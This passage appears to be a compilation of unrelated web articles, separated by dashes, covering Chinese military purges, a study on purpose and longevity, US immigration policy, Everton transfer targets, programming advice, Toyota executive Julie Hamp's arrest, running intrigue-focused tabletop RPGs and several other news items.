Boxiong and Xu Caihou. In contrast, no CMC department nor any of the five military theater commands took to state media to comment on Zhang’s case.  The military radio silence is particularly jarring in light of the responses to the purge of Xu and Guo. After Xu was removed in June 2014 and Guo in July 2015, the General Staff Department, Political Work Department, General Logistics Department, General Armaments Department, PLA Navy, Air Force, Ground Force, Second Artillery Corps, and seven military regions all issued public statements condemning the two ex-CMC vice chairmen. Likewise, the various leading generals and official PLA publications censured Xu and Guo while rallying around Xi after the 19th Party Congress. For the military’s top brass to not react at all to the death of Zhang Yang, an official who was investigated for his links with Xu and Guo, is baffling. Did Beijing issue a gag order to the military? Or is the military expressing discontent with Xi over the Zhang issue? It is not easy to discern from the information currently available.  Zhang Yang’s suicide, however, must have shocked Beijing. Just two weeks before Zhang’s death, the central authorities ordered military leaders at all levels to attend study sessions where Xu, Guo, and Zhang‘s corrupt behavior and extravagant lives were exposed, according to intelligence from mainland China.  Was Zhang Involved in a Coup?  After analyzing the curious political and military developments that unfolded between late July to late August — the purge of Xi “successor” Sun Zhengcai, an unusual parade in Zhurihe Training Base, and the vanishing of Fang Fenghui and Zhang Yang — SinoInsider wrote in September that Xi Jinping could have foiled a coup before the 19th Party Congress. Our analysis appeared to be partially corroborated when Liu Shiyu, the China Securities Regulatory Commission chairman, accused Bo Xilai, Zhou Yongkang, Ling Jihua, Xu Caihou, Guo Boxiong, and the recently arrested Sun Zhengcai of “plotting to usurp the Party leadership” during a meeting at the 19th Congress.  Shortly after making our analysis, Hong Kong media reported that Fang and Zhang were arrested for planning a military coup. According to a report, the two generals had been quietly opposing Xi by protecting Guo and Xu’s former associates, and Xi decided that they should go on “early retirement.” With no prospects for career advancement, Fang and Zhang conspired against the Xi leadership but were purged before they could successfully take action, noted the report. The official statement linking Zhang and the two ex-CMC vice chairs, who have been accused of attempting regime change, suggests that there is some basis in the information from Hong Kong. It would not be a stretch to presume that Fang will eventually be accused of collaborating with Zhang or be outed as an associate of Guo and Xu.  In light of the public information currently available, there is a very good chance that Zhang Yang and Fang Fenghui were involved in a failed coup against the Xi administration. And if Zhang and Fang were coup plotters, then they must already have assembled a sizable group of fellow conspirators.  Conclusion  The Political Work Department continues to be an important office in the PLA despite its status being lowered following the reorganization of the CMC. This is because the PLA is the military force of the CCP, and the Party strives to be in command of its “gun” instead of the other way around. Given the prominence of political work in the PLA, Zhang Yang’s death, regardless of whether he committed suicide or was “forced” to kill himself, is a deeply troubling incident for senior Chinese generals and Xi Jinping.  To the military’s senior leadership, Zhang’s arrest underscores Xi’s conviction to clean out corruption or eliminate his opposition. Earlier, they may have felt that the purge of retired generals Guo Boxiong and Xu Caihou was an inevitable outcome of the factional struggle between Xi and Jiang since Xi needed to preserve his authority and consolidate power. But for Xi to abruptly remove Zhang, an active-duty senior general who was tipped to become a CMC vice chairman, signals that no one is safe. His suicide may have inspired unease in the top military ranks and prompted them to reevaluate their understanding of Xi.  From Xi’s perspective, Zhang’s suicide may leave him with the impression that the Jiang faction’s remaining influence in the military cannot be underestimated. Xi may also become more vigilant against potential coups. If Zhang was not being held at home and was forced to commit suicide, then the political threat Xi faces is considerable.  Don Tse is the CEO and co-founder of SinoInsider Consulting LLC, a consulting and research company based in New York City.  Translated by Larry Ong.
-People Who Feel They Have A Purpose In Life Live Longer  Enlarge this image Maria Fabrizio for NPR Maria Fabrizio for NPR  We know that happiness and social connection can have positive benefits on health. Now research suggests that having a sense of purpose or direction in life may also be beneficial.  To find out if having a sense of purpose has an effect on aging and adult development, Patrick Hill, an assistant professor of psychology at Carleton University in Ottawa, Canada, looked at data from the Midlife in the United States (MIDUS) study, which is funded by the National Institute on Aging.  Hill and his colleague Nicholas Turiano of the University of Rochester Medical Center looked to see how more than 6,000 people answered questions like "Some people wander aimlessly through life, but I am not one of them," and other questions that gauged positive and negative emotions.  They found that 14 years after those questions were asked, people who had reported a greater sense of purpose and direction in life were more likely to outlive their peers.  In fact, people with a sense of purpose had a 15 percent lower risk of death,compared with those who said they were more or less aimless. And it didn't seem to matter when people found their direction. It could be in their 20s, 50s or 70s.  Hill's analysis controlled for other factors known to affect longevity, things like age, gender and emotional well-being. A sense of purpose trumped all that.  Hill defines it as providing something like a "compass or lighthouse that provides an overarching aim and direction in day-to-day lives."  Of course, purpose means different things to different people. Hill says it could be as simple as making sure one's family is happy. It could be bigger, like contributing to social change. It could be more self-focused, like doing well on the job. Or it could be about creativity.  "Often this is individuals who want to produce something that is appreciated by others in written or artistic form, whether it's music, dance or visual arts," Hill says.  It's not exactly clear how purpose might benefit health. Purposeful individuals may simply lead healthier lives, says Hill, but it also could be that a sense of purpose protects against the harmful effects of stress.  An experiment in Chicago tested this theory. Anthony Burrow, a developmental psychologist at Cornell University, had college student volunteers of different races and ethnicities ride rapid transit through the diverse neighborhoods of Chicago, recording their emotions as individuals of different racial and ethnic groups boarded.  Earlier research has shown that when people are surrounded by people of different ethnic or racial groups than their own, their level of stress increases. Burrow wanted to know if thinking about their sense of purpose might reduce that stress.  He had about half the students write for about 10 minutes about their life's direction. The other half wrote about the last movie they saw. They were all then given packets that listed the name of every stop. When they got to a stop, they were asked to assess how they felt and how much they felt that way by placing an "X" in a box next to negative emotions such as feeling scared, fearful, alone or distressed.  It turned out that the students who wrote about the last movie they saw experienced the expected levels of stress as the percentage of people of different ethnicity increased. But the students who wrote about their sense of purpose reported no feelings of increased stress at all.  More research is needed, but Burrow says his findings suggest that having "a sense of purpose may protect people against stress," with all of its harmful effects, including greater risk of heart disease. And that may explain why people with a sense of purpose live longer.
-Before granting legal status to illegal immigrants who entered the country as minors, President Donald Trump wants to push enhanced border security, interior enforcement, and move toward a merit-based legal immigration system.  At this point, Democrats would be blamed if an amnesty isn’t enacted, said Mark Krikorian, executive director of the Center for Immigration Studies, a pro-border security think tank.  “It’s the opening bid, the president is going to aim high, but I’m skeptical of whether Democrats will negotiate and come up with a counteroffer,” Krikorian told The Daily Signal. “They just expected Trump to sign an amnesty bill. The ball is now in the Democrats’ court.”  Trump is working with Congress on a legislative fix to the Obama-era executive action granting temporary legal status to illegal immigrants who came to the country as children, the policy known as the Deferred Action for Childhood Arrivals, or DACA.  Trump’s letter outlines 70 principles for any immigration legislation. This includes the completion of a border wall, which was the cornerstone of his 2016 presidential campaign. However, he indicated that it would not be part of the deal with Congress on codifying the Obama-era DACA policy.  Trump asked the administration to conduct a review and provide recommendations.  “Rather than asking what policies are supported by special interests, we asked America’s law enforcement professionals to identify reforms that are vital to protect the national interest,” Trump said in the letter. “In response, they identified dangerous loopholes, outdated laws, and easily exploited vulnerabilities in our immigration system—current policies that are harming our country and our communities.”  Trump’s principles on immigration—presented in a letter to Congress Sunday—are solid enough, but this still poses the problem of trading amnesty up front for the promise of stronger enforcement maybe later down the road, said David Inserra, a homeland security policy analyst with The Heritage Foundation.  “Amnesty is one and done, but enforcement measures still require annual appropriation, annual policy, and adjustments to the policy,” Inserra told The Daily Signal. “We should enforce our laws first and foremost.”  Trump’s letter to Congress calls for closing loopholes on illegal immigrants to make deportations easier, and to fund another 370 immigration judges to expedite court cases.  Trump also asserted the need to cut off federal funding to sanctuary states and cities, which are jurisdictions that refuse to cooperate with federal immigration authorities. California recently became a sanctuary state. House Minority Leader Nancy Pelosi, D-Calif., denounced Trump’s plans.  Dismantling the #CleanPowerPlan is an assault on our sacred obligation to preserve God’s creation for the future. https://t.co/DLDh7AdQRP — Nancy Pelosi (@NancyPelosi) October 10, 2017  Trump also calls for cracking down on visa overstays, which the letter says account for 40 percent of all illegal immigration.  “The administration therefore proposes strengthening the removal processes for those who overstay or otherwise violate the terms of their visas, and implementing measures to prevent future visa overstays which may account for a growing percentage of illegal immigration,” the letter says.  The proposal would also debar any company that doesn’t use E-Verify from qualifying for federal contracts. E-Verify is an electronic system for employers to determine the legal status of employees.  UnidosUS, a Hispanic rights group formerly known as the National Council of La Raza, blasted Trump’s principles.  “President Trump has gone back on a promise to support a clean bill and instead is now seeking to sabotage legislation aimed at giving these young people a chance for a stable and prosperous future by loading the bill with unpopular and controversial measures,” said Janet Murguía, president of UnidosUS, in a statement. “Sending these so-called ‘conditions’ to Congress is simply a way to stop the bipartisan effort behind a clean DREAM bill.”
-Share  The carmaker from Auburn Hills is launching an Oculus Rift “experience” at the 2014 Los Angeles Auto Show that will allow patrons to take a virtual factory tour.  It’s an outgrowth of the online factory tour Chrysler recently launched using Google Maps Business View. Through the tour website, you can walk the assembly line at the Sterling Heights (Michigan) assembly plant, or sit inside a 200 chassis as it gets welded together by robots.  To top that, Chrysler will use Oculus Rift Development Kit 2 headsets to give people sitting inside a 200 an exploded view of the car, explaining all of the components. Presumably, the car is stationary during all of this.  The user gets a moment to look at each area, then the “world” shifts to three areas of the Sterling Heights plant – the Metrology Center, Body Shop, and Paint area – viewed from the perspective of a car moving through each stage of assembly.  It sounds like a very mechanistic LSD trip, and might be worth checking out if you find yourself in L.A. this week. It’s a rare opportunity to peek behind the curtain and see the complex assembly process modern cars undergo.
-A group of 23 women have signed on to a class-action lawsuit in the hopes of putting a dent in the practice of "revenge porn" — a rather despicable type of online pornography that consists of user-submitted pictures, usually of an ex-wife or ex-girlfriend and usually without the subject's permission. According to The Houston Chronicle, the suit targets the revenge porn site Texxxan.com as well as its host, GoDaddy.com; it additionally names unidentified defendants including "the persons and/or entities hosting Texxxan.com" and "all subscribing members." "I'm going after the revenge porn industry," attorney John S. Morgan said. "The only way to destroy this industry is to go after the people who fund it."  Taking on this industry has been a challenge. Many victims prefer not to pursue the sites hosting their pictures for fear of having their identities revealed. There's also the constant fear of the offending ex-lover finding more motivation for continued harassment. In the case of the Texxxan.com lawsuit, plaintiff Hollie Toups told BetaBeat that the site said it would remove her pictures after she entered her credit card information — an offense that helped spur Toups to go public with her plight and sign on with the class-action lawsuit. "I went from being depressed and embarrassed to being really pissed off," she said.  "I went from being depressed and embarrassed to being really pissed off."  At the moment, Texxxan.com is running in "members only maintenance mode," due to "extremely large amounts of traffic" — though it wouldn't surprise us if the site was down due to lawsuit-related issues. Unfortunately, taking down GoDaddy.com in this case will likely be a difficult battle — there isn't a lot of precedent for making a site's host responsible for the content of the site itself. And as a "respectable" company, GoDaddy will likely draw a lot less attention than Texxxan.com in this case — though the site seems likely to just argue that it is hosting the pictures, and the real responsibility lies with those who uploaded the pics in the first place. That's exactly the logic that Hunter Moore, the proprietor of revenge porn site "Is Anyone Up" gave to BetaBeat in an interview last month.
-Anger is growing in India that the Mumbai attacks were not prevented Pakistan's president has vowed to take "strong action" against any elements in his country involved in last week's attacks in the Indian city of Mumbai. Asif Ali Zardari made the pledge during a meeting with US Secretary of State Condoleezza Rice, his office said. Speaking after the meeting, Ms Rice said she found the Pakistani leadership "focused" and "committed" on the issue. Tensions have risen amid Indian claims of Pakistani links to the attacks, which killed at least 188 people. Islamabad denies any role and has cast doubt on the allegations. I have found a government that is focused on the threat and understands its responsibilities to respond to terrorism and extremism  Condoleezza Rice  US Secretary of State  Pakistan's dilemma But President Zardari, during his meeting with Ms Rice, repeated an earlier promise to help investigate the attacks, his office said. "The government will not only assist in investigation but also take strong action against any Pakistani elements found involved in the attack," he is quoted in an official statement as saying. "Pakistan is determined to ensure that its territory is not used for any act of terrorism," he added. Meanwhile, a Pakistani group has denied any connection with the banned militant group Lashkar-e-Toiba, which is suspected of being behind the Mumbai attacks. A spokesman for Jama'at ud Dawa, Abdullah Muntazir, suggested homegrown Indian militants were involved instead. "I do not believe the attacks in Mumbai could have been carried out by Muslims," he told reporters. 'Robust response' Ms Rice described her talks with Mr Zardari, Prime Minister Syed Yusuf Raza Gillani and the country's army chief as "quite satisfactory". Please turn on JavaScript. Media requires JavaScript to play. "I have found a government that is focused on the threat and understands its responsibilities to respond to terrorism and extremism," she told a news conference. She said Pakistan would investigate any links with Mumbai, "because the Pakistani government... does not in any way want to be associated with terrorist elements and is indeed fighting to root them out wherever they find them." Before arriving in Islamabad, she told reporters Pakistan must take a "tough line" on terrorism. Ms Rice travelled to Pakistan from India where she called on both countries to show moderation in their response to the Mumbai attacks. While Pakistan needed "a robust response", India should not take actions that would provoke "unintended consequences", she said. LASHKAR-E-TOIBA Jihadi organisation based in Pakistan Formed towards the end of the Afghan war against the Soviets Blamed for hundreds of attacks in the region since 1990 Listed as a "terrorist group" by the US and UK  Profile: Lashkar-e-Toiba Are attacks a chance for peace? Mumbai comes out to protest US Joint Chiefs of Staff Chairman Mike Mullen has been pushing the same message, in meetings with defence officials in Pakistan on Wednesday and India on Thursday. The pressure from India to take action against militants it claims were involved in the Mumbai attacks puts Pakistan's government in a difficult position, the BBC's diplomatic correspondent Jonathan Marcus says. The authorities in Islamabad may doubt the capacity of their own security forces to carry out such orders, he says. And, by acceding to Indian pressure, Pakistan might risk deeper civil strife at home. Overt Indian military action might provoke a new stand-off that would do nothing for Pakistan's stability, which remains an ever shakier corner-stone of US and western efforts to win the war in Afghanistan, our correspondent adds. Last week's attacks at multiple locations in India's financial capital stunned the country, with many describing it as India's 9/11. Three major airports in India are on heightened alert after a threat of more possible attacks by the Deccan Mujahideen, the previously unknown militant group who claimed responsibility for last week's Mumbai attacks. Meanwhile, the resignation of Vilasrao Deshmukh, chief minister of the state of Maharashtra where Mumbai is located, was accepted by the governing Congress Party on Thursday. His was one of a number of resignations in the wake of the attacks amid growing fury over the government's handling of the crisis.  Bookmark with: Delicious  Digg  reddit  Facebook  StumbleUpon What are these? E-mail this to a friend Printable version
-When Sandro Ramírez finally arrives at Everton, it looks like he won’t be the only arrival up front.  According to the Daily Mirror, Ronald Koeman wants an overhaul of his attack at Goodison Park.  With Romelu Lukaku wanting out and Arouna Kone and Enner Valencia already leaving Everton, it seems normal for Koeman’s priority to be up front.  He has reportedly made Burnley striker Andre Gray, who’s approaching the last 12 months of his contract, an Everton transfer target.  The Toffees reportedly made an initial approach for Gray towards the end of last season and are still believed to be interested in the former non-league hitman.  And if a move for Gray fails, Joshua King of Bournemouth is said to be an alternative target to Gray.  But what would they offer?  ­  Andre Gray  For the most part, Burnley play a 4-4-2 formation and they have at times dabbled with a 4-2-3-1/4-1-4-1 variation but according to WhoScored, Sean Dyche used the former set-up on 29 occasions last season.  Gray is used to playing alongside one of Sam Vokes or Ashley Barnes in attack and his task is to play on the shoulder of the last man, a role he could do in Everton’s 4-3-3.  In a throwback to the little and large partnerships of the 1990s, Gray is the little one.  The aerial duels won per 90 minutes paints a picture – Vokes won 8.89 and Barnes 3.99, whereas Gray was at just the 0.16.  In the stills above, taken from the Burnley match against Leicester City, you see how soon as the ball is played long the striker is on his bike anticipating the flick-on.  He’s quick and he’s got space to attack so more often than not it’s the perfect storm in terms of him being able to showcase his strengths.  Of course, he’d be perfect to play alongside Lukaku, but that is definitely unlikely.  Gray isn’t just the legs man. He’s capable of holding the ball up and bringing others into play. In the pictures above, against champions Chelsea, he drops into a wide area and drags Gary Cahill out with him.  He holds off the former Bolton Wanderers player and draws another of the opposition players to him before playing a pass into the space he had created for one of the on-rushing midfielders.  And it’s skills like that as the hold up man, which could bring other more creative Everton players into play, which would attract Koeman.  Joshua King  Bournemouth played most of 2016/17 with a 4-2-3-1, while King featured largely off the main striker as an attacking midfielder.  According to WhoScored, he featured 16 times in the league as an attacking midfielder and just nine as the main striker.  But this was the best goalscoring season of his career, as he scored 16 times.  He managed six last term, but in four Championship seasons with Blackburn Rovers and Hull City, he hadn’t previously hit the back of the net more than twice.  But that doesn’t mean he’s not a goalscorer, some players develop later than others.  But if you look at five of King’s most recent goals, you can tell he does have a true goalscoring instinct.  Against Sunderland, you can see how he’s only focused on getting free and into an area to score.  When the ball reaches the Bournemouth player in the first still, King heads forward straight away, and by the time of the second picture, he is already free of any defenders and in a position to get a shot off.  While the ball doesn’t come to him straight away, he still stays focused and actually gets himself in a better position once Ryan Fraser has squared it to him.  There’s no doubt he’ll finish past new Everton goalkeeper Jordan Pickford, and he does that calmly.  And that desire to put the ball in the back of the next is also clear above against Middlesbrough.  As all good goalscorers do, he’s on the move as soon as Marc Pugh looks anywhere near like putting a ball in.  He shows Pugh he’s the man he needs to get it to, and he is a step ahead of the defender, and shows good strength to stay upright enough to fire low past Brad Guzan.  If you look at the goal he scored against Chelsea, you can again see something else that he offers.  From a quick break, King uses his pace to ensure no Blues defender can get near him – granted, Cahill isn’t exactly Usain Bolt.  And then when he’s given time on the edge of the penalty area, he does what any good striker does, and gets a shot away.  It may not be the cleanest of shots, but the deflection saw it go past Thibaut Courtois and they all count.  King’s strike against Liverpool showed his strength and nous in the opposition penalty box.  When the long throw came in, he was in the perfect position to attack the ball.  He stays in the middle of the action when it falls out to Charlie Daniels for a shot, and when that’s cleared again, he’s also right there when Harry Arter has an effort.  This hits King, and he shows quick feet to work it onto his right foot, as well as strength to hold off the Liverpool defender to get a shot away.  And his skill for this goal against West Ham United just underlined his class.  Getting the ball in the area on his right foot, he flicks it over the defender onto his left foot before finishing calmly.  That goal enough would have been enough to attract attention from bigger clubs than Everton, like Bournemouth.  Sandro  Probably the most complete of the three, Sandro is not just a goalscorer and has a great eye for a pass too.  But of course, he doesn’t have the Premier League experience the other two have.  Against Granada, as you can see below, he picked the ball up on the left wing before cutting inside, leaving the defender for dead and playing a defence-splitting pass for his team-mate to get the shot away.  This passing was also on show vs Barcelona, as you can see below.  Sandro found himself with the ball on the left with Jony free in the middle.  Despite it being a massive moment in the match, he stayed calm, playing a cheeky lob over Samuel Umtiti into the space behind.  The ball was spot on and Jony was able to control it on his chest and take it past Marc-André ter Stegen and fire into the empty net.  And it just summed up Sandro’s quality.  When he scored against them, as you can see below, it also just showed his goalscoring instinct.  He was playing on the last man, timing his run to perfection to get on the end of a long ball over the defence, using his pace to ensure he would get away from the defenders.  And as he found himself one-on-one with ter Stegen, he was calm enough to send him the wrong way and place his effort low into the back of the net, a composure he has added to his game in his season at Málaga, where he got 14 goals in 28 league games.  Comparing stats  If you compare the 2016/17 league statistics of the trio, plus those of Lukaku, you will see none of them are an out-and-out replacement for the Belgian.  His goalscoring record beats all of them, and although he played the most football out of the quartet, per 90 minutes he still leads the way too with 0.69 goals – Sandro is on 0.54, King on 0.53 and Gray on 0.36.  But you will notice that all but one of his goals were outside the box – Sandro managed five last season, and King was on three.  What’s more, the trio’s passing completion rate is much higher than Lukaku’s – that was at just 66 per cent last season.  The Belgian did create more chances than the others though, although Sandro at 1.25 per 90 minutes was practically the same as the Everton man’s 1.27.  But the biggest change will probably be in the air.  As mentioned above, Gray isn’t the strongest at all, and none of them can compare to Lukaku in that way.  The Belgian wins on average 3.53 aerial duels per 90 minutes, while King is closest to him on 1.06, with Sandro (0.27) and Gray (0.17) on less than one.  In terms of win percentage of aerial duels, it doesn’t read well for the Burnley man either, winning just 12.9 per cent, compared to Lukaku’s 41.16 per cent.  It’s clear Koeman isn’t trying to replicate Lukaku with his targets, and while the Belgian has undoubtedly been great for the Toffees, it looks like it’s a fresh new start in style as they try to beat their seventh-placed finish.
-How I Became a Better Programmer  Several people at React Conf asked me for advice on becoming a better programmer. For some reason, people see me as a pretty advanced programmer worth listening to. I thought it would be worthwhile to write down my "mental model" for how I have approached programming over the years.  Some details about me: I'm 32 years old and have over 10 years of solid experience. It probably wasn't until the last few years until I really felt confident in what I was doing. Even now, though, I continually doubt myself. The point is that this feeling doesn't go away, so just try to ignore it, keep hacking, and keep building experience.  Let me be clear that these are only a few tips for improving your skills. Ultimately you need to figure out what works best for you. These are just things that I have found helpful.  Find people who inspire you, but don't idolize them. Over the years there have been many people that I looked up to and watched for new tech. I learned a lot by simply trusting they were right and digging into things they worked on. These people tend to be very productive, brilliant, and inspiring. Find them and let them inspire and teach you. However, make sure not to idolize them. It's easy to seem intimidating from a twitter feed, but if you look at how they work in real life, you'll see that they aren't that different. Hacks everywhere, etc. We're all just experimenting. Lastly, don't blindly trust them; if you disagree, engage them and learn from it. Some of my most productive conversations happened this way. My Emacs config is a mess. I don't know why my OCaml autocompletion is broken (it's been broken for over a month). I don't automate stuff and have to dig around in my shell history to find commands I need sometimes. I write the ugliest code at first. I stick things on the global object until I know what I'm doing. The most experienced programmer uses hacks all the time; the important part is that you're getting stuff done.  Don't devalue your work. Newer programmers tend to feel like their work isn't worth much because they are new. Or maybe you are an experienced programmer, but working in a new area that makes you uncomfortable. In my opinion, some of the best ideas come from newer programmers who see improvements to existing tech that those who have already-formed opinions don't see. Your work is worthwhile, no matter what. In the worst case, if your idea doesn't work out, the community will have learned better why that approach doesn't make sense. (A note to the community: it's up to us to execute on this and be welcoming to newcomers.)  Don't feel pressured to work all the time. With new tech coming out every day, it can feel like the world will move on without you if you take a night off. That's not true. In fact, you will do better work if you disengage a lot. Your perspective will be fresh, and I find myself subconsciously coming up with new ideas when I'm not working. The majority of the stuff being released every day is just a rehash of the same ideas. Truly revolutionary stuff only happens every few years. A good talk to watch on this subject is Hammock Driven Development.  Ignore fluff. One of the biggest ways you can objectively get better faster is by ignoring "fluff" that won't actually improve your skills very much. Another way to say this is "use your time wisely". You only have so many hours in the day and if you spend it on deeper things you will see a big difference over time. So what is "fluff"? It's up to you, but I can give you some examples of what I consider fluff: language syntax, library APIs, and configuring build tooling. Learning a new ES7 JS syntax won't make you a better programmer nearly as much as learning how compilers work, for example. Adopting a new library that implements the same idea but with a new API isn't that interesting. All of those things are important, of course, but I recommend spending more time learning deeper concepts that will reward you for years. Here's a question I like to ask: do you spend most of your time making your code look "nice"? If so, I recommend not focusing on it so much. Your code is going to change a lot over time anyway. It's better to focus hard on the core problems you're trying to solve and think hard about your layers of abstractions. After you've nailed all of that you can spend a little time polishing your code. (This also applies to the DRY principle. Don't worry about it so much. Feel free to duplicate.)  Dig into past research. If you're excited about an idea, it's super tempting to sit down an immediately get going. But you shouldn't do that until you've done some cursory research about how people have solved it before. Spending a few days researching the topic always completely changes how I am going to solve it. It's valuable to learn how to read academic papers. I don't know anything about denotational/operational/etc semantics so there are a lot of papers I can't read. But there are many that use code instead of math and aren't too hard to read. There is a huge amount of knowledge sitting in papers from the last 30 years. If you get good at extracting this, you'll be a thought-leader in no time. Prettier is a perfect example of this. I knew what I wanted but I had no idea how to implement it. After a little research I found this paper and after a few days I knew exactly what I needed to do. I had something basic working in a week. If I ignored previous research it would have taken a lot longer. If you're looking for papers, the Papers We Love GitHub repo is a great place to start.
-Toyota had publicly defended its global communications chief and acknowledged it must do a better job of helping foreign executives integrate into Japan.  Julie Hamp, an American, was arrested two weeks ago after authorities allegedly discovered 57 oxycodone pills in a package she shipped to herself. (Photo11: Tsutomu Agechi, AP)  TOKYO — Two weeks after her arrest on suspicion of illegally importing prescription drugs into Japan, Toyota's global communications chief is still in jail — and out of a job.  American Julie Hamp, the highest-ranking female executive at the Japanese automaker, relinquished her role after authorities allegedly discovered oxycodone pills in a package she shipped to herself.  Toyota said in a statement that it "accepted her resignation after considering the concerns and inconvenience that recent events have caused our stakeholders."  The move comes amid speculation that Hamp may face prison time in Japan, where stiff drug laws prohibit foreigners from importing prescription drugs without significant documentation.  Her resignation may have been inevitable, said Robert Dujarric, director of the Institute of Contemporary Asian Studies, at Temple University's Japan Campus.  "In most (Japanese) companies, executives who are arrested will resign, or at least go on leave until the case is resolved," Dujarric said.  Hamp remains in custody in Japan, where prosecutors have a high rate of successful prosecution and can retain suspects for up to 23 days without bail or formal charges. Depending on the charges, Hamp could face up to 10 years in prison.  Toyota had publicly defended Hamp, with President Akio Toyoda holding a televised press conference in June to declare her "a close friend" and an "invaluable" part of the company. He apologized for "the confusion surrounding recent events" but said he believed that she had not knowingly broken Japanese law.  The company acknowledged that it did not do enough to help foreigners integrate into Japan.  "Because the investigation of Ms. Hamp is ongoing, there is little Toyota can say at this time," the company said. "However, we intend to learn from this incident to help ensure a secure working environment for everyone at Toyota around the world as we continue to take the steps necessary to become a truly global company."  Police raided Toyota offices in Japan after they allegedly discovered 57 pills of the powerful painkiller tucked away in a package Hamp sent to herself while moving from the U.S. to Japan.  The incident embroiled Toyota in controversy just months after the 55-year-old Hamp was appointed to the role as the automaker's global communications chief, the first woman to fill that role. Her elevation was viewed as a significant step in Toyota's halting bid to diversify its leadership ranks.  On Thursday, Toyota said it remains committed to that goal. "We remain firmly committed to putting the right people in the right places, regardless of nationality, gender, age and other factors," the company said.  Hamp told police that she had mailed a package containing the painkillers from the U.S. to her hotel in Japan, but had not intended to break Japanese law, according to Japanese media reports. Police said the tablets were not listed on the package's Customs declaration form and were placed in several parcels, including an accessory case and paper bag.  Oxycodone is a widely prescribed painkiller in the United States. But possession is illegal in Japan without a prescription and special permission is required to bring it into the country.  Follow USA TODAY reporter Nathan Bomey on Twitter @NathanBomey.  Bomey reported from McLean, Va.  Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.  Read or Share this story: http://usat.ly/1LUhxjm
-Given the relative obscurity of tabletop role-playing games, I have been fortunate enough to be introduced to the genre as early as middle school. A friend of mine invited me to check out D&D after I had mistakenly bought Legend of the Five Rings, 3rd ed. thinking that it was some sort of fantasy novel or fictional encyclopedia. We ended up finding others who played tabletop games in high school and played a lot of D&D 3.5 over those years. Only after college had split the party did I start growing curious of that L5R book I’ve kept untouched in my library for so long.  As a bunch of high-schoolers playing D&D, we spent many campaigns wandering random dungeons, slaying endless waves of monsters in search of more powerful loot. I do not mean this as a critique of my old dungeon masters—they made tabletop gaming so fun that it has become a major component of my free time—but either the eternal will of D&D creator Gary Gygax or our immaturity made our old campaigns more of an action/battle puzzle than a story-driven experience. Hell, it was a great time.  But it did not help me when I decided to pick up GMing L5R. I open up the book and it’s full of pages upon pages of Rokugan’s history, clan relations among the eight different major clans and dozen or so minor clans, and other bits that I passed off as meaningless filler. And one of the three possible classes was a courtier, some politician or diplomatic figure! That was one way to die in a dungeon crawl.  As with most things, however, I was wrong to dismiss intrigue as a way to play an RPG. I promise that with a prepared GM and some captivated players, an intrigue campaign can have the thrill, affection, suspense, wonder, hatred, and betrayal rivaling a blockbuster movie or open-world video game. Intrigue is now the only way I run my games. So for those of you who are as clueless as I was and want to figure out how to create an intrigue-heavy game, here are some considerations I have picked up along the way:  Establish preferences. This is the golden rule to not only intrigue games but to any tabletop RPG campaign you wish to establish. Make sure your players actually want to play the type of game you are running. Everyone has different tastes and preferences and that means that an intrigue game might not be for them. Don’t be sure that you will win everyone over if your GMing ability is good enough or if you put enough time perfecting your story. Have a time to meet up and discuss what you all want to do. And make sure to spell out what is on the table. Give an idea of what you think certain classes or groups should act with maybe a couple pop culture references as examples. A lot about intrigue lends itself to playstyles of role-playing what a character would do over performing the mechanically optimal action, which can be very frustrating for some. If you know your group loves maximizing their +1 damage bonuses but hate talking (nicely) to NPCs, maybe rethink that 3 year intrigue campaign.  Themes. It is viable to play an entirely sandbox experience where the universe is in equilibrium and every corner has its own ecosystem with its own sets of local problems. Eh, maybe I’m old fashioned or lack the creativity but I have found that a really—ahem—intriguing story has a universe that’s tied around a theme. A brewing galactic civil war? A wandering clan’s diaspora? Each quest will be unique to the questgiver and the location but it is nice to see many of them connect to the same global issues that stricken your setting.  The dynamic world. A story-driven game requires a living world. Tying back to themes, every quest or adventure will be a reflection of needs and wills of the NPCs in your world. How is it related to the local needs of the questgiver? How might it be related to the global narrative of your setting? Does the quest naturally follow into a larger arc tackling the problems of the region? A good story will be more than just one session of slaying the goblins and saving the village from attacks. A good story is multilayered. That village may be chronically undermanned and defenseless… because the village depended on the protection from their lord’s armies… who conscripted all of their strongest villagers but left the village to die to the greenskin hordes… for the general to usurp power through fear of invasion. A humble request can unravel an intricate storyline that adds depth to your setting.  Carve depth in NPCs. A jaw-dropping intrigue game is not possible without its share of multilayered characters the party comes across. Every NPC, from the most powerful ruler to the most mundane guard, should have some personality. This is easier than it sounds; you can find a list of personality traits all over the web and just assign an arbitrary trait or two to them as they are generated. If an NPC becomes an important character to the party—and I mean become, not that you planned it—then start really fleshing out the character. Provide him or her a backstory that may be revealed over time and think about evolving the character’s personality or opinion of the party the more he or she becomes a persistent entity. A really juicy backstab is a friendship built over many sessions, not a helper that attacks them before the end of their introductory session.  Establish cultural norms. Especially if a norm in the setting seems counterintuitive to the players—removing armor and weapons in a city—it is important to reinforce conformity to those norms. It is supposed to feel… normal. Reward players who follow those norms with friendlier NPC interactions. It is a wonderful immersive experience when players play to the societal standards of the world and get a sense of what is safe and what isn’t. They really feel like they understand the society they live in. The drama comes when those assumptions of safety are broken. Just be wary, setting up these norms takes a long time, so don’t break them until they become solidly engrained in the setting. You can’t blame the players for not removing their weapons when entering a home if they keep getting ambushed afterwards.  Adapt to the players.* It may be fun to plan out an elaborate mapping where X event must lead players to Y location which activates Z trigger but no one will have fun being pushed into your Rube Goldberg machine. The players must decide what they are going to do. This includes both their desired goals and their approach to doing it. All you need is a feel for your antagonists—their goals, personality, and competence—and possibly some potential avenues those antagonists can influence your players’ interactions with the world. That empty space between the opportunity and the resolution is an empty space where your party can take the initiative and navigate through the complex web of connections they have at their disposal.  Illusion of Transparency.* Shamelessly stolen from Peter McIntyre’s Cognitive Toolkit which you can find here, this concept is why players never seem to find those important clues or read your NPC’s intentions. As a GM, that moment when the party enters a new area is when your brain rushes together a vibrant portrait of the scratching of hardwood floors on bare feet, the lights dimming behind dull white rice paper walls, and the faint smell of green tea as the players step into a samurai lord’s estate. You can see every petal of the vased flowers and every pebble in the adjacent rock garden but as you try to describe your own vivid imagination, you can barely mention that Lord Shimazu’s estate is fairly regal. And the worst issue is not even realizing the ambiguity of the narration. The solution: recognize that the players will think differently from you and only take your literal description for granted as the image the players can conjure. One can either choose to make their descriptions longer or leave them as blank space and fill them in as the party asks about it. Just make a particular detail very clear if you wish to hide specific clues in the location.  *I will write about positive and negative space in running a game in a later post.  Let them metagame: It is incredibly tempting to stop a player from using out-of-game knowledge to reach a conclusion their character may not necessarily be able to ascertain. It may seem strange 